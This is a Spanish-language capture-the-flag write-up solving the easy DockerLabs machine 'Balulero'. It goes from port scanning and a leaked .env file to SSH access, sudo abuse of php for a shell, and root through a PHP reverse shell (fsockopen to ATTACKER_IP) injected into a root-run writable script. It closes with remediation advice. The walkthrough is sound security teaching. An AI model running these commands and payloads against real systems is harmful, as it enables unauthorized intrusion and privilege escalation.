Balulero

Introducción

Este writeup documenta la resolución completa de la máquina virtual Balulero (autor: El Pingüino de Mario), catalogada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible y didáctica: explicar qué se hizo, por qué funcionó cada paso y cómo mitigar patrones similares en entornos reales.

El proceso se divide en tres fases:

1. Reconocimiento — identificar servicios expuestos, rutas relevantes y vectores de entrada.
2. Explotación — obtener acceso inicial (aquí: filtración de credenciales → SSH).
3. Escalada de privilegios — abusar de privilegios sudo y archivos con permisos inseguros para alcanzar root.

Aviso: todas las pruebas se realizaron en un laboratorio controlado (DockerLabs). No realices pruebas intrusivas en sistemas sin autorización.

---

Información general

Atributo	Detalle
Nombre	Balulero
Autor	El Pingüino de Mario
Dificultad	Fácil
Fecha de creación	28/09/2024
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

1. Descomprime el paquete:

   unzip Balulero.zip

2. Despliega la máquina (el script levanta un contenedor y devuelve la IP asignada):

   sudo bash auto_deploy.sh Balulero.tar

Anota la IP que devuelve el script; la necesitarás en reconocimiento y explotación.

---

Paso 1 — Reconocimiento

1.1 Organización del workspace

Mantener evidencia y artefactos ordenados facilita reproducir y reportar:

mkdir -p Balulero/{content,exploits,nmap,gobuster,scripts}
cd Balulero

Guarda capturas, salidas de nmap/gobuster y cualquier script usado en el directorio de trabajo para incluirlos en el informe.

---

1.2 Escaneo de puertos

Escaneo rápido para detectar servicios:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
# (opcional) extraer puertos con una herramienta local
extractPorts allPorts

Salida relevante (ejemplo en esta máquina):

• 80/tcp → HTTP (sitio web)
• 22/tcp → SSH

Observación: además de la web pública, existe servicio SSH al que intentar autenticarse si encontramos credenciales.

---

1.3 Enumeración web

Búsqueda de rutas con gobuster:

gobuster dir -u http://172.17.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
  -x php,html,txt,js -t 200 -o gobuster.txt

Rutas interesantes encontradas:

• /index — página principal (landing).
• /script.js — código JavaScript del frontend expuesto.
• /imagenes.js — recursos/js expuestos.
• /whoami — directorio o endpoint con permisos de lectura.

Observación: el código cliente está accesible y puede contener información sensible (comentarios, rutas, referencias a archivos). Es buena práctica revisar estos archivos en búsqueda de pistas (variables, endpoints, nombres de ficheros, referencias a .env, etc.).

---

Paso 2 — Explotación

2.1 Revisión de código expuesto

Al inspeccionar los archivos JavaScript encontrados (/script.js) se detecta una referencia o comentario que apunta a un archivo de entorno: .env_de_baluchingo. Esto sugiere que en algún lugar del servidor hay un archivo de variables de entorno con credenciales o claves.

Captura que indica la filtración:

2.2 Lectura del archivo .env expuesto

Accediendo al archivo (por la ruta indicada o por la URL encontrada) se obtiene contenido con credenciales en texto claro (usuario/contraseña). Ejemplo de la salida:

Por qué esto es crítico: archivos .env suelen contener variables sensibles (credenciales, URIs, claves API). Si son accesibles por la web o están comprometidos, permiten acceso directo a servicios como SSH, bases de datos o paneles administrativos.

2.3 Autenticación vía SSH usando credenciales filtradas

Con las credenciales obtenidas probamos acceso por SSH:

ssh usuario@172.17.0.2

Salida demostrando login exitoso:

Obtenemos shell como el usuario balu, logrando el acceso inicial al sistema.

---

Paso 3 — Escalada de privilegios

3.1 Enumeración de sudo

Una vez dentro como balu, listamos privilegios sudo:

sudo -l

Salida relevante: el usuario puede ejecutar php como chocolate sin contraseña. Esto aparece así en la salida de sudo -l (captura):

Interpretación: permitir ejecutar php como otro usuario (aquí chocolate) sin restricciones puede ser peligroso si php permite ejecutar comandos arbitrarios o interpretar código desde archivos controlables por el atacante.

3.2 Ejecución como usuario chocolate

Aprovechamos el privilegio para ejecutar php con sudo -u chocolate y lanzar una shell:

sudo -u chocolate php -r "system('/bin/bash');"

Esto nos da una shell con el usuario chocolate. Confirmación:

Explicación: la bandera -r de php ejecuta código PHP pasado en línea; system() ejecuta comandos del sistema y devuelve resultado. Ejecutar php -r "system('/bin/bash');" invoca una shell interactiva.

3.3 Identificar procesos y escribir en archivos privilegiados

Desde la cuenta chocolate listamos procesos (ps aux) y observamos que existe un proceso que ejecuta /opt/script.php como root; además, el fichero /opt/script.php es escribible por chocolate.

Salida ps aux ejemplo:

Al listar /opt y el script confirmamos permisos de escritura:

ls -l /opt/script.php
# -rw-rw-r-- 1 root chocolate ... /opt/script.php   <-- ejemplo: writable por chocolate

Riesgo: si un proceso de root ejecuta un archivo que es modificable por un usuario no privilegiado, ese usuario puede inyectar código que se ejecutará con permisos de root.

3.4 Plantear reverse shell en /opt/script.php

Modificamos script.php para que, cuando el proceso root lo ejecute, abra una reverse shell hacia nuestra IP atacante:

echo '<?php $sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("bash -i <&3 >&3 2>&3"); ?>' > /opt/script.php

Tras esperar a que el proceso root (o un cron/servicio) ejecute el script, recibimos la conexión entrante en nuestro listener:

# En atacante
nc -nlvp ATTACKER_PORT

Resultado — shell con privilegios root:

---

Cadena de explotación (resumen)

1. Enumeración: puertos 80 (web) y 22 (SSH) abiertos.
2. Descubrimiento: código JS expuesto que referencia un .env con credenciales.
3. Explotación inicial: lectura del .env → credenciales → login SSH como balu.
4. Siguiente paso: sudo -l revela que balu puede ejecutar php como chocolate.
5. Abuso de sudo: ejecución de php para obtener shell como chocolate.
6. Descubrimiento de archivo /opt/script.php ejecutado por root y escribible por chocolate.
7. Modificación de /opt/script.php para insertar reverse shell → ejecución por root → root obtenido.

---

Fallos de seguridad identificados (específicos a este caso)

Tipo de vulnerabilidad	Descripción breve	Impacto
Exposición de código fuente	Archivos JS accesibles públicamente que referencian ficheros sensibles (.env).	Alto — revela información operativa y credenciales
Filtración de variables de entorno	.env_de_baluchingo accesible con credenciales en texto claro.	Crítico — credenciales comprometidas permiten acceso directo
Configuración sudo insegura	balu puede ejecutar php como chocolate sin restricciones.	Alto — permite escalar privilegios a otros usuarios
Archivo ejecutado por root y escribible	/opt/script.php es ejecutado por root pero modificable por otro usuario.	Crítico — permite ejecución arbitraria con privilegios root

---

Recomendaciones (remediación)

Control de información sensible

• No exponer archivos de código o recursos que contengan rutas/credenciales en frontend. Revisar y eliminar comentarios/información sensible del código público.
• Nunca dejar archivos .env accesibles desde la web. Coloca archivos de configuración fuera del directorio público y asegúrate de que el servidor web no sirva archivos con extensiones de configuración.

Gestión de credenciales

• Rotar credenciales filtradas y forzar cambio inmediato si se detecta exposición.
• Usar gestores de secretos (HashiCorp Vault, AWS Secrets Manager, etc.) y no archivos de texto en producción.

Sudo y privilegios

• Revisar sudoers y reducir privilegios: evitar permitir ejecuciones generales como php, java o python sin restringir rutas y argumentos. Preferir comandos específicos y seguros.
• Aplicar principio de menor privilegio: usuarios y procesos deben tener sólo los permisos estrictamente necesarios.

Permisos de archivos y servicios

• Evitar que procesos ejecutados por root utilicen archivos que puedan ser modificados por usuarios no privilegiados. Archivos ejecutables por root deben ser propiedad de root y no escribibles por otros.
• Revisar crons y servicios que ejecuten scripts periódicamente y asegurar que esos scripts no se ubiquen en directorios con permisos laxos.

Monitoreo y detección

• Implementar alertas para cambios en ficheros críticos (/opt/*, binarios de sistema) y para ejecuciones de sudo inusuales.
• Mantener registros (auditd) y revisiones periódicas.

Buenas prácticas de desarrollo

• Separar claramente la capa pública de los secretos. Revisiones de seguridad (SAST/DAST) antes de despliegues.
• Usar CI/CD con escaneo de secretos para evitar commits accidentales de .env o credenciales.